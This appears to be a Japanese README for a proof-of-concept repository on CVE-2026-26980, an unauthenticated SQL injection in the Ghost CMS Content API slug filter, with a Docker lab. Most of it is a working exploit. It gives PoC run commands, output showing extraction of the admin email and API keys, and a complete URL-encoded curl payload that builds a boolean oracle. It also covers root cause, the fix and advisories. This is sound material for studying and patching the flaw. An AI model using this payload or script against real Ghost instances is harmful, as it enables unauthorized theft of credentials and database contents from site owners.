
TryGhost Ghost CMS Content APIのslugフィルターにおける未認証SQLインジェクションを実証し、ブールオラクルを介してデータベースの値を抽出するPython PoCおよびDockerラボ。
★ CVE-2026-26980 TryGhost Ghost CMS Content API SQLインジェクション PoC ★
https://github.com/user-attachments/assets/e7fab29e-8382-4ecc-986c-68852c28a32c
CVE-2026-26980 は、TryGhost Ghost CMS Content API における未認証の SQL インジェクション脆弱性です。この脆弱なパスは、slug:[...] の順序処理が行われる際に、公開 Content API のフィルタ処理ロジックを通じて到達可能です。
この PoC は、制御された Ghost 6.19.0 のラボ環境を構築し、公開 Content API リクエストがどのようにブールベースのデータベース読み取りプリミティブへと変わり得るかを実証します。
| 製品 | 影響を受けるバージョン | 修正バージョン | 脆弱性の種類 |
|---|---|---|---|
| TryGhost Ghost CMS | >= 3.24.0, < 6.19.1 | 6.19.1 | SQL インジェクション |
ラボ環境では Ghost 6.19.0 を使用しています。
Docker を使用して、脆弱な Ghost CMS 環境をビルドして実行します:
docker build -t cve-2026-26980 .
docker run --rm -d -p 9102:9102 --name cve-2026-26980 cve-2026-26980
例:
http://127.0.0.1:9102/
このラボは、実際に脆弱な Ghost 6.19.0 インスタンスをポート 9102 で実行します。
ラボの Content API キーは次のとおりです:
EQSTLab299
CVE-2026-26980 : TryGhost Ghost CMS Content API SQL インジェクション脆弱性
description: TryGhost Ghost CMS の 6.19.1 より前の SQL インジェクション脆弱性により、公開 Content API キーにアクセスできる未認証の攻撃者が、Content API の filter パラメータを通じて任意のデータベース値を読み取ることができます。この問題は slug:[...] フィルタの順序処理パスで発生し、ユーザー制御の slug 値が適切なパラメータバインディングなしで生の SQL に挿入されます。
Ghost Content API キーは、設計上、テーマ、検索、ポータル、またはフロントエンド JavaScript を通じてブラウザに公開されることがよくあります。つまり、この脆弱なパスは Ghost Admin 認証なしで到達可能となり得ます。
git clone https://github.com/EQSTLab/CVE-2026-26980.git
cd CVE-2026-26980
python3 poc.py --url [Target]
任意のカスタム Content API キー:
python3 poc.py --url [Target] --key [Content API Key]
python3 poc.py --url [Target]
python3 poc.py --url [Target] --key EQSTLab299
[Target] の例: http://127.0.0.1:9102
========================================================================
Ghost CMS - Unauthenticated SQLi Data Extraction
========================================================================
Target: [Target]
API Key: [Content API Key]
Endpoint: Content API (public, no auth)
[*] Calibrating oracle... OK
[*] Phase 1: Recon (fast checks)
length(users.email) = 17
length(users.password) = 60
count(settings) (3 chars): 110
count(users) (1 chars): 1
count(api_keys) (1 chars): 9
[*] Phase 2: Extracting values
Admin email (17 chars): [email protected]
Admin name (5 chars): Ghost
Admin API key ID (24 chars): <redacted>
Admin API secret (64 chars): <redacted>
[*] Phase 3: DB snapshot
Result: DB read primitive confirmed
公開 PoC は、ラボで安全なデータベースメタデータと Ghost API キー素材を抽出することにより、データベース読み取りの影響を実証します。チャレンジフラグは出力しません。
GET /ghost/api/content/tags/?key=[Content API Key]&filter=slug:[...]
脆弱なロジックは、slug:[...] フィルタに対する Ghost の Content API 入力シリアライズパスに存在します。Ghost はリスト形式の slug フィルタをサポートしており、要求された slug の順序を保持するために ORDER BY CASE 式を生成します。
脆弱なバージョンでは、ユーザー制御の slug 値が SQL フラグメントに挿入されます。簡略化した脆弱なパターンは次のとおりです:
for (const [index, slug] of slugs.entries()) {
order.push(`WHEN \`${tableName}\`.\`slug\` = '${slug}' THEN ${index}`);
}
slug は攻撃者によって制御され、パラメータバインディングなしで SQL 文字列に挿入されるため、細工された Content API フィルタは意図された比較から抜け出し、追加の SQL ロジックを注入できます。
ラボ PoC は、2 つの公開タグ bacon と chorizo を観測可能なブールオラクルとして使用します。
bacon が最初にソートされます。chorizo が最初にソートされます。このテストを異なる SQL 条件で繰り返すことで、PoC はデータベースの値を 1 文字ずつ推測できます。
curl によるブールオラクルチェック:
curl -s "[Target]/ghost/api/content/tags/?key=EQSTLab299&filter=slug%3A%5B%27%2F%2A%2A%2FAND%2F%2A%2A%2F0%2F%2A%2A%2FTHEN%2F%2A%2A%2F99%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D5%2F%2A%2A%2FTHEN%2F%2A%2A%2F%28SELECT+CASE+WHEN+1%3D1+THEN+0+ELSE+2+END%29%2F%2A%2A%2FWHEN%2F%2A%2A%2Flength%28%60tags%60.%60slug%60%29%3D7%2F%2A%2A%2FTHEN%2F%2A%2A%2F1%2F%2A%2A%2FWHEN%2F%2A%2A%2F0%2F%2A%2A%2FOR%2F%2A%2A%2F%27%2Cchorizo%2Cbacon%5D"
根本原因は、ユーザー制御の slug 値から SQL の ORDER BY CASE フラグメントを安全でない方法で構築していることです。脆弱なコードは Content API のレスポンス順序を保持しようとしますが、パースされた NQL フィルタ値を信頼された SQL テキストとして扱っています。
堅牢な修正には次が必要です:
Ghost は 6.19.1 で、生の補間をパラメータ化されたクエリバインディングに置き換えることでこの問題を修正しました。
これは CWE-89: SQL コマンドで使用される特殊要素の不適切な中和 の問題です。
Ghost Content API は意図的に公開されているため、この脆弱性により、未認証の攻撃者が公開コンテンツエンドポイントを通じてデータベース読み取りプリミティブを作成できる可能性があります。データベースの内容と権限に応じて、攻撃者は次のことができる可能性があります:
+-------------------------------------------+
| Remote Attacker |
+-------------------------------------------+
|
| GET /ghost/api/content/tags/
| filter = slug:[<SQLi payload>,chorizo,bacon]
v
+-------------------------------------------+
| Ghost Public Content API |
+-------------------------------------------+
|
| Unsafe slug order SQL construction
v
+-------------------------------------------+
| ORDER BY CASE SQL Injection |
+-------------------------------------------+
|
| Boolean difference in tag ordering
v
+-------------------------------------------+
| Unauthenticated DB Read |
+-------------------------------------------+
このラボは、最小限のモックサーバーではなく、実際に脆弱な Ghost 6.19.0 インスタンスを実行します。
ラボは次をシードします:
EQSTLab299bacon、chorizo公開されている poc.py は、デモ動画および公開記事向けに設計されています。チャレンジフラグを出力せずに SQL インジェクションの影響を示します。
docker stop cve-2026-26980
このリポジトリは、CVE-2026-26980 に対する SQL インジェクションエクスプロイトを意図したものではありません。このプロジェクトの目的は、人々がこの脆弱性について学び、場合によっては自身のアプリケーションをテストできるようにすることです。
https://github.com/TryGhost/Ghost/security/advisories/GHSA-w52v-v783-gw97
https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
https://github.com/TryGhost/Ghost/releases/tag/v6.19.1
https://nvd.nist.gov/vuln/detail/CVE-2026-26980